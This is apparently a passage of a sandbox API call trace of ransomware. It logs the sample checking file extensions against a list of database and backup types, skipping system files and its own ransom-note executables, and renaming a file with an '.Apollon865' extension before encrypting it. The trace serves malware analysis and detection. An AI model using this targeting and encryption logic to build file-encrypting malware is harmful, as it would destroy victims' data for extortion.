	[0051.803] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0051.803] lstrlenW (lpString="ckp") returned 3
	[0051.803] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0051.803] lstrlenW (lpString="cma") returned 3
	[0051.803] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0051.803] lstrlenW (lpString="cpd") returned 3
	[0051.803] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0051.803] lstrlenW (lpString="dacpac") returned 6
	[0051.803] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0051.803] lstrlenW (lpString="dad") returned 3
	[0051.803] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0051.803] lstrlenW (lpString="dadiagrams") returned 10
	[0051.803] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0051.803] lstrlenW (lpString="daschema") returned 8
	[0051.803] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0051.803] lstrlenW (lpString="db-journal") returned 10
	[0051.803] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0051.803] lstrlenW (lpString="db-shm") returned 6
	[0051.803] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0051.803] lstrlenW (lpString="db-wal") returned 6
	[0051.803] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0051.803] lstrlenW (lpString="dbc") returned 3
	[0051.803] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0051.803] lstrlenW (lpString="dbs") returned 3
	[0051.803] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0051.803] lstrlenW (lpString="dbt") returned 3
	[0051.803] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0051.803] lstrlenW (lpString="dbv") returned 3
	[0051.803] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0051.803] lstrlenW (lpString="dbx") returned 3
	[0051.804] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0051.804] lstrlenW (lpString="dcb") returned 3
	[0051.804] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0051.804] lstrlenW (lpString="dct") returned 3
	[0051.804] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0051.804] lstrlenW (lpString="dcx") returned 3
	[0051.804] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0051.804] lstrlenW (lpString="ddl") returned 3
	[0051.804] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0051.804] lstrlenW (lpString="dlis") returned 4
	[0051.804] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0051.804] lstrlenW (lpString="dp1") returned 3
	[0051.804] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0051.804] lstrlenW (lpString="dqy") returned 3
	[0051.804] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0051.804] lstrlenW (lpString="dsk") returned 3
	[0051.804] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0051.804] lstrlenW (lpString="dsn") returned 3
	[0051.804] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0051.804] lstrlenW (lpString="dtsx") returned 4
	[0051.804] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0051.804] lstrlenW (lpString="dxl") returned 3
	[0051.804] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0051.804] lstrlenW (lpString="eco") returned 3
	[0051.804] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0051.804] lstrlenW (lpString="ecx") returned 3
	[0051.804] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0051.804] lstrlenW (lpString="edb") returned 3
	[0051.804] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0051.804] lstrlenW (lpString="epim") returned 4
	[0051.804] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0051.804] lstrlenW (lpString="fcd") returned 3
	[0051.804] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0051.804] lstrlenW (lpString="fdb") returned 3
	[0051.805] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0051.805] lstrlenW (lpString="fic") returned 3
	[0051.805] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0051.805] lstrlenW (lpString="flexolibrary") returned 12
	[0051.805] lstrlenW (lpString="fm5") returned 3
	[0051.805] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0051.805] lstrlenW (lpString="fmp") returned 3
	[0051.805] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0051.805] lstrlenW (lpString="fmp12") returned 5
	[0051.805] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0051.805] lstrlenW (lpString="fmpsl") returned 5
	[0051.805] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0051.805] lstrlenW (lpString="fol") returned 3
	[0051.805] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0051.805] lstrlenW (lpString="fp3") returned 3
	[0051.805] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0051.805] lstrlenW (lpString="fp4") returned 3
	[0051.805] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0051.805] lstrlenW (lpString="fp5") returned 3
	[0051.805] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0051.805] lstrlenW (lpString="fp7") returned 3
	[0051.805] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0051.805] lstrlenW (lpString="fpt") returned 3
	[0051.805] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0051.805] lstrlenW (lpString="frm") returned 3
	[0051.805] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0051.805] lstrlenW (lpString="gdb") returned 3
	[0051.805] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0051.805] lstrlenW (lpString="gdb") returned 3
	[0051.805] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0051.805] lstrlenW (lpString="grdb") returned 4
	[0051.805] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0051.805] lstrlenW (lpString="gwi") returned 3
	[0051.806] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0051.806] lstrlenW (lpString="hdb") returned 3
	[0051.806] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0051.806] lstrlenW (lpString="his") returned 3
	[0051.806] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0051.806] lstrlenW (lpString="ib") returned 2
	[0051.806] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0051.806] lstrlenW (lpString="idb") returned 3
	[0051.806] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0051.806] lstrlenW (lpString="ihx") returned 3
	[0051.806] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0051.806] lstrlenW (lpString="itdb") returned 4
	[0051.806] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0051.806] lstrlenW (lpString="itw") returned 3
	[0051.806] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0051.806] lstrlenW (lpString="jet") returned 3
	[0051.806] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0051.806] lstrlenW (lpString="jtx") returned 3
	[0051.806] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0051.806] lstrlenW (lpString="kdb") returned 3
	[0051.806] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0051.806] lstrlenW (lpString="kexi") returned 4
	[0051.806] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0051.806] lstrlenW (lpString="kexic") returned 5
	[0051.806] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0051.806] lstrlenW (lpString="kexis") returned 5
	[0051.806] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0051.806] lstrlenW (lpString="lgc") returned 3
	[0051.806] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0051.806] lstrlenW (lpString="lwx") returned 3
	[0051.806] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0051.806] lstrlenW (lpString="maf") returned 3
	[0051.806] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0051.806] lstrlenW (lpString="maq") returned 3
	[0051.807] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0051.807] lstrlenW (lpString="mar") returned 3
	[0051.807] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0051.807] lstrlenW (lpString="marshal") returned 7
	[0051.807] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0051.807] lstrlenW (lpString="mas") returned 3
	[0051.807] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0051.807] lstrlenW (lpString="mav") returned 3
	[0051.807] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0051.807] lstrlenW (lpString="maw") returned 3
	[0051.807] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0051.807] lstrlenW (lpString="mdbhtml") returned 7
	[0051.807] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0051.807] lstrlenW (lpString="mdn") returned 3
	[0051.807] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0051.807] lstrlenW (lpString="mdt") returned 3
	[0051.807] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0051.807] lstrlenW (lpString="mfd") returned 3
	[0051.807] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0051.807] lstrlenW (lpString="mpd") returned 3
	[0051.807] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0051.807] lstrlenW (lpString="mrg") returned 3
	[0051.807] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0051.807] lstrlenW (lpString="mud") returned 3
	[0051.807] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0051.807] lstrlenW (lpString="mwb") returned 3
	[0051.807] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0051.807] lstrlenW (lpString="myd") returned 3
	[0051.807] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0051.807] lstrlenW (lpString="ndf") returned 3
	[0051.807] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0051.807] lstrlenW (lpString="nnt") returned 3
	[0051.807] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0051.807] lstrlenW (lpString="nrmlib") returned 6
	[0051.807] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0051.808] lstrlenW (lpString="ns2") returned 3
	[0051.808] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0051.808] lstrlenW (lpString="ns3") returned 3
	[0051.808] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0051.808] lstrlenW (lpString="ns4") returned 3
	[0051.808] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0051.808] lstrlenW (lpString="nsf") returned 3
	[0051.808] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0051.808] lstrlenW (lpString="nv") returned 2
	[0051.808] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0051.808] lstrlenW (lpString="nv2") returned 3
	[0051.808] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0051.810] lstrlenW (lpString="nwdb") returned 4
	[0051.810] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0051.810] lstrlenW (lpString="nyf") returned 3
	[0051.810] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0051.810] lstrlenW (lpString="odb") returned 3
	[0051.810] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0051.810] lstrlenW (lpString="odb") returned 3
	[0051.810] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0051.810] lstrlenW (lpString="oqy") returned 3
	[0051.810] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0051.810] lstrlenW (lpString="ora") returned 3
	[0051.810] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0051.810] lstrlenW (lpString="orx") returned 3
	[0051.810] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0051.810] lstrlenW (lpString="owc") returned 3
	[0051.810] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0051.810] lstrlenW (lpString="p96") returned 3
	[0051.810] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0051.810] lstrlenW (lpString="p97") returned 3
	[0051.810] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0051.810] lstrlenW (lpString="pan") returned 3
	[0051.810] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0051.810] lstrlenW (lpString="pdb") returned 3
	[0051.810] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0051.810] lstrlenW (lpString="pdm") returned 3
	[0051.810] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0051.810] lstrlenW (lpString="pnz") returned 3
	[0051.810] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0051.810] lstrlenW (lpString="qry") returned 3
	[0051.811] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0051.811] lstrlenW (lpString="qvd") returned 3
	[0051.811] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0051.811] lstrlenW (lpString="rbf") returned 3
	[0051.811] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0051.811] lstrlenW (lpString="rctd") returned 4
	[0051.811] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0051.811] lstrlenW (lpString="rod") returned 3
	[0051.811] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0051.811] lstrlenW (lpString="rodx") returned 4
	[0051.811] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0051.811] lstrlenW (lpString="rpd") returned 3
	[0051.811] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0051.811] lstrlenW (lpString="rsd") returned 3
	[0051.811] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0051.811] lstrlenW (lpString="sas7bdat") returned 8
	[0051.811] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0051.811] lstrlenW (lpString="sbf") returned 3
	[0051.811] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0051.811] lstrlenW (lpString="scx") returned 3
	[0051.811] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0051.811] lstrlenW (lpString="sdb") returned 3
	[0051.811] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0051.811] lstrlenW (lpString="sdc") returned 3
	[0051.811] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0051.811] lstrlenW (lpString="sdf") returned 3
	[0051.811] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0051.811] lstrlenW (lpString="sis") returned 3
	[0051.811] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0051.811] lstrlenW (lpString="spq") returned 3
	[0051.811] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0051.811] lstrlenW (lpString="te") returned 2
	[0051.811] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0051.811] lstrlenW (lpString="teacher") returned 7
	[0051.812] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0051.812] lstrlenW (lpString="tmd") returned 3
	[0051.812] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0051.812] lstrlenW (lpString="tps") returned 3
	[0051.812] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0051.812] lstrlenW (lpString="trc") returned 3
	[0051.812] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0051.812] lstrlenW (lpString="trc") returned 3
	[0051.812] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0051.812] lstrlenW (lpString="trm") returned 3
	[0051.812] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0051.812] lstrlenW (lpString="udb") returned 3
	[0051.812] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0051.812] lstrlenW (lpString="udl") returned 3
	[0051.812] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0051.812] lstrlenW (lpString="usr") returned 3
	[0051.812] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0051.812] lstrlenW (lpString="v12") returned 3
	[0051.812] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0051.812] lstrlenW (lpString="vis") returned 3
	[0051.812] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0051.812] lstrlenW (lpString="vpd") returned 3
	[0051.812] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0051.812] lstrlenW (lpString="vvv") returned 3
	[0051.812] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0051.812] lstrlenW (lpString="wdb") returned 3
	[0051.812] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0051.812] lstrlenW (lpString="wmdb") returned 4
	[0051.812] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0051.812] lstrlenW (lpString="wrk") returned 3
	[0051.812] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0051.812] lstrlenW (lpString="xdb") returned 3
	[0051.813] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0051.813] lstrlenW (lpString="xld") returned 3
	[0051.813] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0051.813] lstrlenW (lpString="xmlff") returned 5
	[0051.813] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0051.813] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Links\\desktop.ini.Apollon865") returned 45
	[0051.813] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Links\\desktop.ini" (normalized: "c:\\users\\default\\links\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Links\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\links\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0051.813] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\links\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0051.814] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=580) returned 1
	[0051.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0051.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0051.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0051.814] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0051.815] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0051.815] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0051.817] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x550, lpName=0x0) returned 0x118
	[0051.824] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x550) returned 0x100000
	[0051.828] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0051.829] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0051.829] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0051.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0051.829] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0051.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0051.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0051.830] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0051.830] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0051.830] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0051.830] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0051.830] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0051.830] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0051.830] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0051.830] CloseHandle (hObject=0x118) returned 1
	[0051.830] CloseHandle (hObject=0xc0) returned 1
	[0051.830] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0051.830] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0051.830] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0051.830] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1
	[0051.830] lstrcmpiW (lpString1="Desktop.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.830] lstrcmpiW (lpString1="Desktop.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0051.830] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".") returned 1
	[0051.831] lstrcmpiW (lpString1="Desktop.lnk", lpString2="..") returned 1
	[0051.831] lstrcmpiW (lpString1="Desktop.lnk", lpString2="windows") returned -1
	[0051.831] lstrcmpiW (lpString1="Desktop.lnk", lpString2="bootmgr") returned 1
	[0051.831] lstrcmpiW (lpString1="Desktop.lnk", lpString2="temp") returned -1
	[0051.831] lstrcmpiW (lpString1="Desktop.lnk", lpString2="pagefile.sys") returned -1
	[0051.831] lstrcmpiW (lpString1="Desktop.lnk", lpString2="boot") returned 1
	[0051.831] lstrcmpiW (lpString1="Desktop.lnk", lpString2="ids.txt") returned -1
	[0051.831] lstrcmpiW (lpString1="Desktop.lnk", lpString2="ntuser.dat") returned -1
	[0051.831] lstrcmpiW (lpString1="Desktop.lnk", lpString2="perflogs") returned -1
	[0051.831] lstrcmpiW (lpString1="Desktop.lnk", lpString2="MSBuild") returned -1
	[0051.831] lstrlenW (lpString="Desktop.lnk") returned 11
	[0051.834] lstrlenW (lpString="C:\\Users\\Default\\Links\\desktop.ini") returned 34
	[0051.834] lstrcpyW (in: lpString1=0x119e636, lpString2="Desktop.lnk" | out: lpString1="Desktop.lnk") returned="Desktop.lnk"
	[0051.834] lstrlenW (lpString="Desktop.lnk") returned 11
	[0051.834] lstrlenW (lpString="Apollon865") returned 10
	[0051.834] lstrcmpiW (lpString1="esktop.lnk", lpString2="Apollon865") returned 1
	[0051.834] lstrlenW (lpString=".dll") returned 4
	[0051.834] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".dll") returned 1
	[0051.834] lstrlenW (lpString=".lnk") returned 4
	[0051.834] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".lnk") returned 1
	[0051.834] lstrlenW (lpString=".ini") returned 4
	[0051.834] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".ini") returned 1
	[0051.834] lstrlenW (lpString=".sys") returned 4
	[0051.834] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".sys") returned 1
	[0051.834] lstrlenW (lpString="Desktop.lnk") returned 11
	[0051.834] lstrlenW (lpString="bak") returned 3
	[0051.834] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1
	[0051.834] lstrlenW (lpString="ba_") returned 3
	[0051.834] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1
	[0051.835] lstrlenW (lpString="dbb") returned 3
	[0051.835] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1
	[0051.835] lstrlenW (lpString="vmdk") returned 4
	[0051.835] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1
	[0051.835] lstrlenW (lpString="rar") returned 3
	[0051.835] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1
	[0051.835] lstrlenW (lpString="zip") returned 3
	[0051.835] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1
	[0051.835] lstrlenW (lpString="tgz") returned 3
	[0051.835] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1
	[0051.835] lstrlenW (lpString="vbox") returned 4
	[0051.835] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1
	[0051.835] lstrlenW (lpString="vdi") returned 3
	[0051.835] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1
	[0051.835] lstrlenW (lpString="vhd") returned 3
	[0051.835] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1
	[0051.835] lstrlenW (lpString="vhdx") returned 4
	[0051.835] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1
	[0051.835] lstrlenW (lpString="avhd") returned 4
	[0051.835] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1
	[0051.835] lstrlenW (lpString="db") returned 2
	[0051.835] lstrcmpiW (lpString1="nk", lpString2="db") returned 1
	[0051.835] lstrlenW (lpString="db2") returned 3
	[0051.835] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1
	[0051.835] lstrlenW (lpString="db3") returned 3
	[0051.835] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1
	[0051.835] lstrlenW (lpString="dbf") returned 3
	[0051.835] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1
	[0051.835] lstrlenW (lpString="mdf") returned 3
	[0051.835] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1
	[0051.835] lstrlenW (lpString="mdb") returned 3
	[0051.835] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1
	[0051.835] lstrlenW (lpString="sql") returned 3
	[0051.835] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1
	[0051.835] lstrlenW (lpString="sqlite") returned 6
	[0051.836] lstrcmpiW (lpString1="op.lnk", lpString2="sqlite") returned -1
	[0051.836] lstrlenW (lpString="sqlite3") returned 7
	[0051.836] lstrcmpiW (lpString1="top.lnk", lpString2="sqlite3") returned 1
	[0051.836] lstrlenW (lpString="sqlitedb") returned 8
	[0051.836] lstrcmpiW (lpString1="ktop.lnk", lpString2="sqlitedb") returned -1
	[0051.836] lstrlenW (lpString="xml") returned 3
	[0051.836] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1
	[0051.836] lstrlenW (lpString="$er") returned 3
	[0051.836] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1
	[0051.836] lstrlenW (lpString="4dd") returned 3
	[0051.836] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1
	[0051.836] lstrlenW (lpString="4dl") returned 3
	[0051.836] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1
	[0051.836] lstrlenW (lpString="^^^") returned 3
	[0051.836] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1
	[0051.836] lstrlenW (lpString="abs") returned 3
	[0051.836] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1
	[0051.836] lstrlenW (lpString="abx") returned 3
	[0051.836] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1
	[0051.836] lstrlenW (lpString="accdb") returned 5
	[0051.836] lstrcmpiW (lpString1="p.lnk", lpString2="accdb") returned 1
	[0051.836] lstrlenW (lpString="accdc") returned 5
	[0051.836] lstrcmpiW (lpString1="p.lnk", lpString2="accdc") returned 1
	[0051.836] lstrlenW (lpString="accde") returned 5
	[0051.836] lstrcmpiW (lpString1="p.lnk", lpString2="accde") returned 1
	[0051.836] lstrlenW (lpString="accdr") returned 5
	[0051.836] lstrcmpiW (lpString1="p.lnk", lpString2="accdr") returned 1
	[0051.836] lstrlenW (lpString="accdt") returned 5
	[0051.836] lstrcmpiW (lpString1="p.lnk", lpString2="accdt") returned 1
	[0051.836] lstrlenW (lpString="accdw") returned 5
